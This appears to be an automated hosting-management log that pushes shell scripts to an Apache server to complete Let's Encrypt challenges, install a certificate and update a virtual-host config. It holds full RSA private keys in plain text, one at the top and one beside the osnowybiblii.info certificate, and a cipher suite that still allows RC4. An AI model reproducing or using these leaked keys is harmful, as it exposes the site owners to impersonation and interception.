MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDEqItr9hmwfCzl
xgnFcaKR+mhkYoQKet1QjUp/e3vvJR88eocn7LaHWY0K1CTVVscA8cSktXLpbBTX
CHAt18h9iFD61r7Vz9ErmQFiMQM+GkGT0zZD5Eweo5VDB/P9N+//NItZfz8Dp1Cq
qtQd3Hmsy2IHUVCKQy4hYplbPKzgOF/dSghQaJsdO+4C89wDiaWC5nJZSAYj39zb
0sXNJHMnpf3sWmDUXtyWeOLM7FdqTNd8lFsEF8RXefWeB0r9Y0f0pLIdjIhXpq4A
2xvqYWtzxudhufHJxFJg4W3cUhkEfdNe0WEWf+UeeiOtXsx7XZmMJ8DrpxpsMbSZ
hrA0XM4hAgMBAAECggEBALsMDEANfXWtRg7uA9E2Oghagfwo76oAHoxFNvx1+PUG
++TMLc09iobGGC6ahMYdmX4+dmiq5Lc7w76bGgegW+N6Snuq0SwQU8UB7Jz2PT1O
P91YYR7F/9iMgqWU5O6Ny8mSso/XRZo2A7WwcbxNPbWqZHzNTKuVJkU+wNpUpaFE
kqFKI+nrutq2Dbu0fk9vLve5fg4DuQFskU2jUCDGzhvSeDf0U2WHoYPVTGPszTSH
zznlcQOgqXVSqX64yggpX36rYhs6eH5pZFP/pw8TTNXBvmGM0u8aCEC9y5pHE3Rn
Q+DYAaX5HLMJh5YgNsn2S89CwzhQmSdGTQcIgSTrJqECgYEA4n4FASQB4bbZA/v5
t96XVjOWqwPFQA77BKJphlorAecQdg5UcAzBfIkFA5/27B3pDrNXBmecxEZCXape
l2hdRE6jDuunVQPsbLmIZQEbfhND4F9lMW6bJ47Af3hnmHuBnR47Xh6AnhH+Ip6a
MZDG+wZF7eMbOPlLq7WhLIL5XWUCgYEA3keBABfHIGhYg37EN6kgFXCTYRcpIdd2
7KJ/A/KngYVyRMZsNIk+Nr9aMcj/9gY3CVTa8yyxF4z1Mqt1WHqRuXYK1XHL4vvu
OIRX940MBS0hzMSRAYZacdFfbcDgkIFAx5qAyxT/Pe5KGkaIS6kYW33pkWimF9db
FJKwP0H90A0CgYEAsTz2g5b+1ff1STXki6tneDB0pi0ULXXLnyvNMjLbVujPq+K4
1tpUizTaNKT4YHtjhnp3Dm8EcV+dzZhl30vvOGXlGeb1EgU4/TgO8SN1tSo0Qp/E
G3O3fLQsFVROlTeJDT+8K4HpGklwOv0sIr9txsB49phzFBmZyqwejSuNIjUCgYEA
r/kT26r3bmStjozRcu9mAxM42minm68k63pJ7CozCotHR8N+7qiopFchZMCoQ3Hw
KGcRX+tF2Esz44VyRTXkIFufgBOzQmQI2J2NtuHnXkG4vI/x7K8c83a6gf1sy3pI
er2KsTxSRglciSjFxoB8VBJ+0ytyMvW/ma338lygQBECgYBem1FHi1iTh/vz7++S
wiDdFZC419FiRXqVySyUgJAHVGGLCu75zGhsQAve2hk5Pk0JdGLKqa7zC+j7SBSN
cFHTVQuhERNrsoOQlyE6/9Pr8BM0ZcvGU5j4g/g9d2WWLy7WXUxZGmDHwcsSnPwB
FNDz2mzYBnCO878arr52S5LItg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-26 06:00:17: Establishing a connection
2025-11-26 06:00:18: Establishing a connection
2025-11-26 06:00:19:
PUT: /tmp/pkp818032
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-26 06:00:20:
chmod 755 /tmp/pkp818032; /tmp/pkp818032; rm /tmp/pkp818032
2025-11-26 06:00:20:
0
2025-11-27 06:00:02: Establishing a connection
2025-11-27 06:00:03: Establishing a connection
2025-11-27 06:00:03:
PUT: /tmp/pkp226706
#!/bin/bash
if [ -d "/var/www/osnowybiblii_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-27 06:00:03:
chmod 755 /tmp/pkp226706; /tmp/pkp226706; rm /tmp/pkp226706
2025-11-27 06:00:03:
1
2025-11-27 06:00:05: Establishing a connection
2025-11-27 06:00:05:
PUT: /tmp/pkp952714
#!/bin/bash
mkdir -p "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cat > KQtdIJJrNkrExs4ArKjav2lUduJNDecUbA5d_LNZq_I <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KQtdIJJrNkrExs4ArKjav2lUduJNDecUbA5d_LNZq_I.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KQtdIJJrNkrExs4ArKjav2lUduJNDecUbA5d_LNZq_I
cat > 3O_icFq4Uy0of-cs9Az2iTL_53G7f8_g5Wyeq_BDr1w <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3O_icFq4Uy0of-cs9Az2iTL_53G7f8_g5Wyeq_BDr1w.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3O_icFq4Uy0of-cs9Az2iTL_53G7f8_g5Wyeq_BDr1w
2025-11-27 06:00:05:
chmod 755 /tmp/pkp952714; /tmp/pkp952714; rm /tmp/pkp952714
2025-11-27 06:00:05:
2025-11-27 06:00:15: Establishing a connection
2025-11-27 06:00:15:
PUT: /tmp/pkp737170
#!/bin/bash
mkdir -p "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
rm KQtdIJJrNkrExs4ArKjav2lUduJNDecUbA5d_LNZq_I
rm 3O_icFq4Uy0of-cs9Az2iTL_53G7f8_g5Wyeq_BDr1w
2025-11-27 06:00:15:
chmod 755 /tmp/pkp737170; /tmp/pkp737170; rm /tmp/pkp737170
2025-11-27 06:00:15:
2025-11-27 06:00:15: Establishing a connection
2025-11-27 06:00:15:
PUT: /tmp/pkp801112
#!/bin/bash
temp_file=$(mktemp)
TARGET=0e3e734dd08e3f9fefca36cd65718d9b.crt
cat > $temp_file <<'endmsg'
c1:9a:ab:f5:2b:d5:d7:ba:ab:fa:30:b2:2f:a9:8c:bb
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBTfy1K2G9PeqiT9/cS2QVOKIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTI3MDUwMTQ0WhcNMjYwMjI1MDUwMTQzWjAcMRowGAYDVQQD
ExFvc25vd3liaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAOPHVgEcj/HK4CPuUxbgOgg1vznZEIANWcWXig1569QD6Bd/ahiqLqGTrKKh
pxePDw3MlmwNI95fbb9pZNzisoyrG/6UysXLFjeKCXe1eZSq7eZP/OxFJRJUs8j7
yLWfcKpvDhYuXlArdPSRW1O66GJ2Q8s4Z8hepskXuC/nxKc64dkKrC81iCThTfxi
lGXXxQx1zqq06R7KGTBnMigg6pd56EUNC+7uLEfCRnO2SXp4gzxfLJQVetGb4jxf
HcsRNH/sZEouFj2DAP/ATEryJY9rzY6QMHIBc7ZJwGmm3O2kaE78yKCsrOvthD97
LfSHO4rDW++UukmRFEeiqPyOSAsCAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU+Jqb/1qgzn838EteoRm4RzOYRtkwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFvc25vd3liaWJsaWkuaW5m
b4IVd3d3Lm9zbm93eWJpYmxpaS5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0G
A1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOS5jcmwwggEF
BgorBgEEAdZ5AgQCBIH2BIHzAPEAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWF
sMsUwxRY5wAAAZrD5eWDAAAEAwBIMEYCIQCiu04EvJ0jasZrepayBUtJeEEZgzyH
x0zuPT+u7+XO+gIhAIS4/wHHJo3Hv8tG9Vx2V1cBOi8yaYOYckXGegtMt8AQAHYA
DleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGaw+XlWwAABAMARzBF
AiEAi8bEYb4nX+tYopz4Q9AepCiXJLSES4S6cyDSj6AOoh0CIHoF36YWplqHC7Jy
BfOwLcZJty7g74fMusFun0pG9VwfMA0GCSqGSIb3DQEBCwUAA4IBAQAubabMSKVs
7j7rgTcjUKYFbua1G8BZcm2Z6uMeXfadWHUXo1r7V1Vaix8DrZ9uRZMi2F5mWXlo
i+/Mp5v69ENjx4+2NlWNDkdQzoHXCoStczHiDsnSG0Q/SaAd5svGHzU8uJKm0DZH
22NW0eCwSdvaDre5vQtF45OPfsNyKb6PcKlj6hTk428M4f6GVy9Z8I5vK92Y19Ag
VzaXtm7FKki8uJLpV9tPLmcZiMq+LlytDNyj+K1MgA4S7qZ0cTdXgHoGSMiGICb3
7s93d6QlFC2UwLp9QPNAaZU7QDxX449qngqTGK6QSIYGEBEe/GLwh2K3acyZMyIo
4akeA2VcCMu3
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDjx1YBHI/xyuAj
7lMW4DoINb852RCADVnFl4oNeevUA+gXf2oYqi6hk6yioacXjw8NzJZsDSPeX22/
aWTc4rKMqxv+lMrFyxY3igl3tXmUqu3mT/zsRSUSVLPI+8i1n3Cqbw4WLl5QK3T0
kVtTuuhidkPLOGfIXqbJF7gv58SnOuHZCqwvNYgk4U38YpRl18UMdc6qtOkeyhkw
ZzIoIOqXeehFDQvu7ixHwkZztkl6eIM8XyyUFXrRm+I8Xx3LETR/7GRKLhY9gwD/
wExK8iWPa82OkDByAXO2ScBpptztpGhO/MigrKzr7YQ/ey30hzuKw1vvlLpJkRRH
oqj8jkgLAgMBAAECggEAFGNBNXRDBhdsnIq2cTO8vgNhjGH7chq/0EnSF4a0LxPy
cDf9XRvOdLPtHdluRVOOu2N2i1FZxouwHRPn7UV1SdX++XiD9dRJtsrqMgbSTRZH
mPfL4bIGsW9XcEPpISiWQwsRrbaUxoQ9Qa7JB+OQ7U88njH8SBkAwLsYx2DtXzJg
vAh47bNWNoy6PwogHw36u1EkwqK3IMuIk2+V7RDPkSozw7pObd3h8cb+BExTZ4ND
7q6A3HJrwb2eT4Hjwx+IdH3ypbwVHC2ITlc6BUpZOwXL8PymBCiQ9z7JX0CjBtZP
k3jggu34Wfj1x6XKsN8J0tN3I1GRVD8trbgy7OV04QKBgQD/vSQRmutS+ftNYrKB
ZveoC/EItWSxyIKqfNj7gIxVqQrJCMMBw+UJT3LCYP4jcz4nUHuQa3MX1hAH//qj
RgffoV96XF4DD2U/fPWZ7/PZErAoCLDGzSnH039VqyNKU+GWg3/et2dzyCnT1e2w
macuX5LLYTsdFu3E4HjCYWpMAwKBgQDkAuKiVwGBSHI7FwJrGX4EVO0o8kgFm3cd
v4GV2f9jWxxsvtxn5vEOCXbjrbfmUaadH7dKVVq3/SUIAppGzdxmPMxRjByVvl3M
3PmjlQUr3vfqtDGtKlwHtykBIWehSX1pag+MnVBAj60BpVwpAtGelmdhNvMHV3L1
dnGIHk9JWQKBgBg/kNnyfHmjpkZSI2bNopHWgAY5XNDWmD0eFVzTdXrxykoBgKv8
LQ1S8SipFa+6z5ver7ij14fdDiwUA2nTzA9SN8FcXLWhkhIRASCVdeOROA6ztD9F
WL7PuPUggvobNfqVgVxWu4Jo6j5hvGXQS9/DxCFwmLBLakQOnKSho/iNAoGBALZc
mGa+r7V2++XGwWhnOyK7yfK11GSnst1YDYyMjnYoqNNQ03dGfgV8DFqM1kifhWKl
uzL4kVYWYUfGzR1UCLK8ba3LIhGh7+Op2P+8cCZmbmKJPDIDbxe8pk8BKKEW5fcp
nMYaC9WXFAf8+XjTiFQOdyCJklaM2qT31lXH6CIBAoGAa2WOGEjaNavrWiJIensM
srdtO6Y/Ud77B6t9Sel7MrOGkrg2XvoM3GIKSWV1EMtTzlzFNfDxpi+EmFfYmeTb
H3Ayo2xUvEKFwOxFDfw9t5b3nYfIHVTnPtA1GmtURfQZd2CGdisH65wh72rTojNZ
mQYlW+13w1QGx/ijsaVq7tk=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-27 06:00:15:
chmod 755 /tmp/pkp801112; /tmp/pkp801112; rm /tmp/pkp801112
2025-11-27 06:00:15:
dir=/etc/ssl/certs
2025-11-27 06:00:15:
PUT: /tmp/pkp667412
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/osnowybiblii_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-27 06:00:15:
chmod 755 /tmp/pkp667412; /tmp/pkp667412; rm /tmp/pkp667412
2025-11-27 06:00:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnowybiblii_www_info.conf 45
<VirtualHost *:80>
ServerName osnowybiblii.info
ServerAlias www.osnowybiblii.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/osnowybiblii_www
<Directory /var/www/osnowybiblii_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/osnowybiblii/www_access.log combined
ErrorLog /var/log/apache2/osnowybiblii/www_error.log
SetEnv pkp_uid 53
SetEnv pkp_owner osnovy
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName osnowybiblii.info
ServerAlias www.osnowybiblii.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
DocumentRoot /var/www/osnowybiblii_www
<Directory /var/www/osnowybiblii_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/osnowybiblii/www_secure_access.log combined
ErrorLog /var/log/apache2/osnowybiblii/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-27 06:00:15:
PUT: /tmp/pkp859208
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=osnowybiblii_www_info.conf
TARGET=/etc/apache2/sites-enabled/osnowybiblii_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName osnowybiblii.info
ServerAlias www.osnowybiblii.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/osnowybiblii_www
<Directory /var/www/osnowybiblii_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/osnowybiblii/www_access.log combined
ErrorLog /var/log/apache2/osnowybiblii/www_error.log
SetEnv pkp_uid 53
SetEnv pkp_owner osnovy
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName osnowybiblii.info
ServerAlias www.osnowybiblii.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
DocumentRoot /var/www/osnowybiblii_www
<Directory /var/www/osnowybiblii_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/osnowybiblii/www_secure_access.log combined
ErrorLog /var/log/apache2/osnowybiblii/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/osnowybiblii_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/osnowybiblii_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/osnowybiblii_www_info.conf= 1'
fi
2025-11-27 06:00:15:
chmod 755 /tmp/pkp859208; /tmp/pkp859208; rm /tmp/pkp859208
2025-11-27 06:00:15:
2025-11-27 06:00:15:
PUT: /tmp/pkp157216
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-27 06:00:15:
chmod 755 /tmp/pkp157216; /tmp/pkp157216; rm /tmp/pkp157216
2025-11-27 06:00:16:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-27 06:00:16: Establishing a connection
2025-11-27 06:00:16:
PUT: /tmp/pkp489584
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-27 06:00:16:
chmod 755 /tmp/pkp489584; /tmp/pkp489584; rm /tmp/pkp489584
2025-11-27 06:00:16:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
